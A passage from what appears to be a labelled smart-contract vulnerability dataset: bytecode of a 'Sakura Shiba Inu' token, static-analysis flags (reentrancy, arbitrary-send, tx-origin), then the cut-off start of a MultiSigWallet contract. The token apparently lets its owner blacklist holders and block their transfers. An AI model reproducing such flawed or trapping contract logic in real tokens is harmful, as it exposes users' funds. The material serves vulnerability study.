561042357600080fd5b5061043e600480360381019061043991906130c5565b610c22565b60405161044b9190612e13565b60405180910390f35b34801561046057600080fd5b50610469610c78565b6040516104769190612c44565b60405180910390f35b34801561048b57600080fd5b506104a660048036038101906104a191906130f2565b610c7e565b005b3480156104b457600080fd5b506104bd610d65565b6040516104ca919061312e565b60405180910390f35b3480156104df57600080fd5b506104e8610d8b565b6040516104f59190612c44565b60405180910390f35b34801561050a57600080fd5b50610513610d91565b005b34801561052157600080fd5b5061053c600480360381019061053791906130c5565b610e03565b6040516105499190612c44565b60405180910390f35b34801561055e57600080fd5b50610567610e4c565b005b34801561057557600080fd5b50610590600480360381019061058b91906130c5565b610f9f565b005b34801561059e57600080fd5b506105a761109d565b6040516105b4919061312e565b60405180910390f35b3480156105c957600080fd5b506105d26110c6565b6040516105df9190612e13565b60405180910390f35b3480156105f457600080fd5b506105fd6110d9565b60405161060a9190612cf8565b60405180910390f35b34801561061f57600080fd5b5061063a60048036038101906106359190612db8565b611112565b6040516106479190612e13565b60405180910390f35b34801561065c57600080fd5b506106776004803603810190610672919061307c565b611130565b005b34801561068557600080fd5b5061068e611340565b005b34801561069c57600080fd5b506106a56113ba565b005b3480156106b357600080fd5b506106bc6114e1565b6040516106c99190612c44565b60405180910390f35b3480156106de57600080fd5b506106f960048036038101906106f49190613175565b611513565b005b34801561070757600080fd5b50610722600480360381019061071d91906131a2565b6115d7565b60405161072f9190612c44565b60405180910390f35b34801561074457600080fd5b5061074d61165e565b005b600d5481565b6040518060400160405280601081526020017f53616b75726120536869626120496e750000000000000000000000000000000081525081565b60006107a261079b611b0e565b8484611b16565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107ed611b0e565b73ffffffffffffffffffffffffffffffffffffffff161461080d57600080fd5b600f8210801561081d5750600f81105b801561082a5750600a5482105b80156108375750600b5481105b610876576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086d9061322e565b60405180910390fd5b81600a8190555080600b819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1600a54600b546040516108b992919061324e565b60405180910390a15050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000678ac7230489e80000905090565b600e5481565b6000601060009054906101000a900460ff1680156109695750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156109c25750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15610a55573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a54576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b610a60848484611ce1565b600082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610aac611b0e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610af191906132a6565b9050610b0585610aff611b0e565b83611b16565b60019150509392505050565b6000610b1c30610e03565b905090565b600981565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b67611b0e565b73ffffffffffffffffffffffffffffffffffffffff1614610b8757600080fd5b60005b8151811015610c1857600060056000848481518110610bac57610bab6132da565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c1090613309565b915050610b8a565b5050565b600f5481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600a5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cbf611b0e565b73ffffffffffffffffffffffffffffffffffffffff1614610cdf57600080fd5b60008111610d22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d199061339e565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c54604051610d5a9190612c44565b60405180910390a150565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd2611b0e565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000479050610e0081612684565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e54611b0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed89061340a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fe0611b0e565b73ffffffffffffffffffffffffffffffffffffffff161461100057600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d6600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516110929190613489565b60405180910390a150565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601060029054906101000a900460ff1681565b6040518060400160405280600481526020017f53494e550000000000000000000000000000000000000000000000000000000081525081565b600061112661111f611b0e565b8484611ce1565b6001905092915050565b611138611b0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bc9061340a565b60405180910390fd5b60005b815181101561133c57600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061121d5761121c6132da565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156112b15750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106112905761128f6132da565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b15611329576001600560008484815181106112cf576112ce6132da565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061133490613309565b9150506111c8565b5050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611381611b0e565b73ffffffffffffffffffffffffffffffffffffffff16146113a157600080fd5b60006113ac30610e03565b90506113b7816126f0565b50565b6113c2611b0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461144f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114469061340a565b60405180910390fd5b601060009054906101000a900460ff161561149f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611496906134f0565b60405180910390fd5b6001601060006101000a81548160ff02191690831515021790555042600f81905550670429d069189e0000600d81905550670429d069189e0000600e81905550565b600061150e600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e03565b905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611554611b0e565b73ffffffffffffffffffffffffffffffffffffffff161461157457600080fd5b80601060026101000a81548160ff0219169083151502179055507ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb601060029054906101000a900460ff166040516115cc9190612e13565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611666611b0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ea9061340a565b60405180910390fd5b601060009054906101000a900460ff1615611743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173a906134f0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506117d230600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e80000611b16565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561181d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118419190613525565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118cc9190613525565b6040518363ffffffff1660e01b81526004016118e9929190613552565b6020604051808303816000875af1158015611908573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061192c9190613525565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306119b530610e03565b6000806119c061109d565b426040518863ffffffff1660e01b81526004016119e2969594939291906135b6565b60606040518083038185885af1158015611a00573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611a25919061362c565b505050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611ac792919061367f565b6020604051808303816000875af1158015611ae6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b0a91906136bd565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7d9061375c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bed906137ee565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611cd49190612c44565b60405180910390a3505050565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d855750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ddb5750600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611de457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4b90613880565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ec4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ebb90613912565b60405180910390fd5b60008111611f07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611efe906139a4565b60405180910390fd5b6000611f1161109d565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f7f5750611f4f61109d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156125bf57600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561202f5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156120855750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156123bf57601060009054906101000a900460ff166120d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d090613a10565b60405180910390fd5b600f5442141561213c576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b42610258600f5461214d9190613a30565b11156121ac57600e5461215f84610e03565b8361216a9190613a30565b11156121ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a290613ad2565b60405180910390fd5b5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff166122865760405180604001604052806000815260200160011515815250600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010160006101000a81548160ff0219169083151502179055509050505b42610258600f546122979190613a30565b111561237357600d548211156122e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d990613ad2565b60405180910390fd5b601e426122ef9190613a30565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410612372576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236990613b3e565b60405180910390fd5b5b42600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600190505b601060019054906101000a900460ff161580156123e85750601060009054906101000a900460ff165b80156124425750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156125be57600f426124549190613a30565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154106124d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ce9061322e565b60405180910390fd5b60006124e230610e03565b9050600081111561259f57601060029054906101000a900460ff1615612595576064600c54612532600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e03565b61253c9190613b5e565b6125469190613be7565b811115612594576064600c5461257d600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e03565b6125879190613b5e565b6125919190613be7565b90505b5b61259e816126f0565b5b600047905060008111156125b7576125b647612684565b5b6000925050505b5b600060019050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806126665750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561267057600090505b61267d8585858486612969565b5050505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156126ec573d6000803e3d6000fd5b5050565b6001601060016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561272857612727612f39565b5b6040519080825280602002602001820160405280156127565781602001602082028036833780820191505090505b509050308160008151811061276e5761276d6132da565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612815573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128399190613525565b8160018151811061284d5761284c6132da565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506128b430600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611b16565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612918959493929190613cd6565b600060405180830381600087803b15801561293257600080fd5b505af1158015612946573d6000803e3d6000fd5b50505050506000601060016101000a81548160ff02191690831515021790555050565b6000612975838361298b565b9050612983868686846129b9565b505050505050565b6000806000905083156129af5782156129a857600a5490506129ae565b600b5490505b5b8091505092915050565b6000806129c68484612b5c565b9150915083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1591906132a6565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aa39190613a30565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612aef81612b9a565b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b4c9190612c44565b60405180910390a3505050505050565b600080600060648486612b6f9190613b5e565b612b799190613be7565b905060008186612b8991906132a6565b905080829350935050509250929050565b80600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612be59190613a30565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000819050919050565b612c3e81612c2b565b82525050565b6000602082019050612c596000830184612c35565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612c99578082015181840152602081019050612c7e565b83811115612ca8576000848401525b50505050565b6000601f19601f8301169050919050565b6000612cca82612c5f565b612cd48185612c6a565b9350612ce4818560208601612c7b565b612ced81612cae565b840191505092915050565b60006020820190508181036000830152612d128184612cbf565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612d5982612d2e565b9050919050565b612d6981612d4e565b8114612d7457600080fd5b50565b600081359050612d8681612d60565b92915050565b612d9581612c2b565b8114612da057600080fd5b50565b600081359050612db281612d8c565b92915050565b60008060408385031215612dcf57612dce612d24565b5b6000612ddd85828601612d77565b9250506020612dee85828601612da3565b9150509250929050565b60008115159050919050565b612e0d81612df8565b82525050565b6000602082019050612e286000830184612e04565b92915050565b60008060408385031215612e4557612e44612d24565b5b6000612e5385828601612da3565b9250506020612e6485828601612da3565b9150509250929050565b6000612e7982612d2e565b9050919050565b612e8981612e6e565b82525050565b6000602082019050612ea46000830184612e80565b92915050565b600080600060608486031215612ec357612ec2612d24565b5b6000612ed186828701612d77565b9350506020612ee286828701612d77565b9250506040612ef386828701612da3565b9150509250925092565b600060ff82169050919050565b612f1381612efd565b82525050565b6000602082019050612f2e6000830184612f0a565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612f7182612cae565b810181811067ffffffffffffffff82111715612f9057612f8f612f39565b5b80604052505050565b6000612fa3612d1a565b9050612faf8282612f68565b919050565b600067ffffffffffffffff821115612fcf57612fce612f39565b5b602082029050602081019050919050565b600080fd5b6000612ff8612ff384612fb4565b612f99565b9050808382526020820190506020840283018581111561301b5761301a612fe0565b5b835b8181101561304457806130308882612d77565b84526020840193505060208101905061301d565b5050509392505050565b600082601f83011261306357613062612f34565b5b8135613073848260208601612fe5565b91505092915050565b60006020828403121561309257613091612d24565b5b600082013567ffffffffffffffff8111156130b0576130af612d29565b5b6130bc8482850161304e565b91505092915050565b6000602082840312156130db576130da612d24565b5b60006130e984828501612d77565b91505092915050565b60006020828403121561310857613107612d24565b5b600061311684828501612da3565b91505092915050565b61312881612d4e565b82525050565b6000602082019050613143600083018461311f565b92915050565b61315281612df8565b811461315d57600080fd5b50565b60008135905061316f81613149565b92915050565b60006020828403121561318b5761318a612d24565b5b600061319984828501613160565b91505092915050565b600080604083850312156131b9576131b8612d24565b5b60006131c785828601612d77565b92505060206131d885828601612d77565b9150509250929050565b7f2e2e2e0000000000000000000000000000000000000000000000000000000000600082015250565b6000613218600383612c6a565b9150613223826131e2565b602082019050919050565b600060208201905081810360008301526132478161320b565b9050919050565b60006040820190506132636000830185612c35565b6132706020830184612c35565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006132b182612c2b565b91506132bc83612c2b565b9250828210156132cf576132ce613277565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061331482612c2b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561334757613346613277565b5b600182019050919050565b7f3e30000000000000000000000000000000000000000000000000000000000000600082015250565b6000613388600283612c6a565b915061339382613352565b602082019050919050565b600060208201905081810360008301526133b78161337b565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006133f4602083612c6a565b91506133ff826133be565b602082019050919050565b60006020820190508181036000830152613423816133e7565b9050919050565b6000819050919050565b600061344f61344a61344584612d2e565b61342a565b612d2e565b9050919050565b600061346182613434565b9050919050565b600061347382613456565b9050919050565b61348381613468565b82525050565b600060208201905061349e600083018461347a565b92915050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006134da601783612c6a565b91506134e5826134a4565b602082019050919050565b60006020820190508181036000830152613509816134cd565b9050919050565b60008151905061351f81612d60565b92915050565b60006020828403121561353b5761353a612d24565b5b600061354984828501613510565b91505092915050565b6000604082019050613567600083018561311f565b613574602083018461311f565b9392505050565b6000819050919050565b60006135a061359b6135968461357b565b61342a565b612c2b565b9050919050565b6135b081613585565b82525050565b600060c0820190506135cb600083018961311f565b6135d86020830188612c35565b6135e560408301876135a7565b6135f260608301866135a7565b6135ff608083018561311f565b61360c60a0830184612c35565b979650505050505050565b60008151905061362681612d8c565b92915050565b60008060006060848603121561364557613644612d24565b5b600061365386828701613617565b935050602061366486828701613617565b925050604061367586828701613617565b9150509250925092565b6000604082019050613694600083018561311f565b6136a16020830184612c35565b9392505050565b6000815190506136b781613149565b92915050565b6000602082840312156136d3576136d2612d24565b5b60006136e1848285016136a8565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613746602483612c6a565b9150613751826136ea565b604082019050919050565b6000602082019050818103600083015261377581613739565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006137d8602283612c6a565b91506137e38261377c565b604082019050919050565b60006020820190508181036000830152613807816137cb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061386a602583612c6a565b91506138758261380e565b604082019050919050565b600060208201905081810360008301526138998161385d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006138fc602383612c6a565b9150613907826138a0565b604082019050919050565b6000602082019050818103600083015261392b816138ef565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061398e602983612c6a565b915061399982613932565b604082019050919050565b600060208201905081810360008301526139bd81613981565b9050919050565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b60006139fa601883612c6a565b9150613a05826139c4565b602082019050919050565b60006020820190508181036000830152613a29816139ed565b9050919050565b6000613a3b82612c2b565b9150613a4683612c2b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a7b57613a7a613277565b5b828201905092915050565b7f3325206c696d697420696e203130206d696e732e000000000000000000000000600082015250565b6000613abc601483612c6a565b9150613ac782613a86565b602082019050919050565b60006020820190508181036000830152613aeb81613aaf565b9050919050565b7f77616974203330732e0000000000000000000000000000000000000000000000600082015250565b6000613b28600983612c6a565b9150613b3382613af2565b602082019050919050565b60006020820190508181036000830152613b5781613b1b565b9050919050565b6000613b6982612c2b565b9150613b7483612c2b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613bad57613bac613277565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613bf282612c2b565b9150613bfd83612c2b565b925082613c0d57613c0c613bb8565b5b828204905092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613c4d81612d4e565b82525050565b6000613c5f8383613c44565b60208301905092915050565b6000602082019050919050565b6000613c8382613c18565b613c8d8185613c23565b9350613c9883613c34565b8060005b83811015613cc9578151613cb08882613c53565b9750613cbb83613c6b565b925050600181019050613c9c565b5085935050505092915050565b600060a082019050613ceb6000830188612c35565b613cf860208301876135a7565b8181036040830152613d0a8186613c78565b9050613d19606083018561311f565b613d266080830184612c35565b969550505050505056fea264697066735822122059497568322ba0f45cbfb5f34eb988b8e4ebd92cdf878d1ba0f0cfcec2f1a42464736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,901 |
0x0bc5a4a7439d68777cb77594ab1a84548b545b79
|
pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<span class="__cf_email__" data-cfemail="493a3d2c2f2827672e2c263b2e2c092a26273a2c273a303a67272c3d">[email protected]</span>>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
